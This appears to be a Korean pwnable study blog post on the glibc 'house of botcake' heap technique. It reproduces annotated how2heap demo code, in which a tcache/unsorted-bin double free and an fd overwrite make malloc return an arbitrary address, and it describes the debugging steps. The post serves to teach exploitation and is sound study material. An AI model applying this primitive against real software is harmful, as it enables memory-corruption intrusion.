pwnable/heap
house of botcake
Ryuuu
2021. 2. 10. 18:15
how2heap에 있는 코드를 보자
static uint64_t victim = 0; int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); char *x[7]; for(int i=0; i<7; i++){ x[i] = malloc(0x100); } //tcache 채워주기 위한 힙영역 생성 char *a = malloc(0x100); //unsorted bin에 넣을 힙영역(consolidation, double free용도) char *b = malloc(0x100); //unsortedbin에 넣을 힙영역 malloc(0x10); //top chunk와 병합이 되지 않게 하기 위해서 할당 for(int i=0; i<7; i++){ free(x[i]); //tcache 채워줌 } free(b); //unsortedbin = b free(a); //unsortedbin에 있는 b,a병합 unsortedbin chunk size = 220 malloc(0x100); //tcache에서 포인터 하나 꺼냄 free(b); //tcache에 b를 집어 넣음, unsortedbin = a + b //tcache = b 로 chunk 중복됨!!! char* res = malloc(0x130); //unsorted bin에서 chunk 꺼냄 return되는 주소 : a //쓸수 있는 바이트 : 130 ---> b를 덮을 수 있음(fd덮음) *(uint64_t*)(res+0x110) = (uint64_t)(&victim); //b에 있는 fd를 덮음 //--> 이제 임의의 주소로 할당 가능 malloc(0x100); // b 할당됨 char *target = malloc(0x100); //적어준 임의의 주소 할당!!! printf("Before attack, victim's value: 0x%lx\n", victim); *(uint64_t*)target = 0xdeadbeef; printf("After attack, victim's value: 0x%lx\n", victim); return 0; }
디버깅을 해보자!
힙주소 7개를 free한 후의 상황이다. tcache_entry가 꽉 차있는 것을 볼 수 있다.
b,a를 free한 상황이다. unsorted bin에 병합되어 저장되는것을 확인할 수 있다.
malloc하여 tcache에서 chunk하나 꺼내고 b를 다시 free한 상태이다 unsortedbin과 tcache entry에 중복된 영역을 확인할 수 있다.
이제 unsortedbin을 할당해서 b의 fd를 덮은 후 두번 할당하면 덮은주소로 할당된다.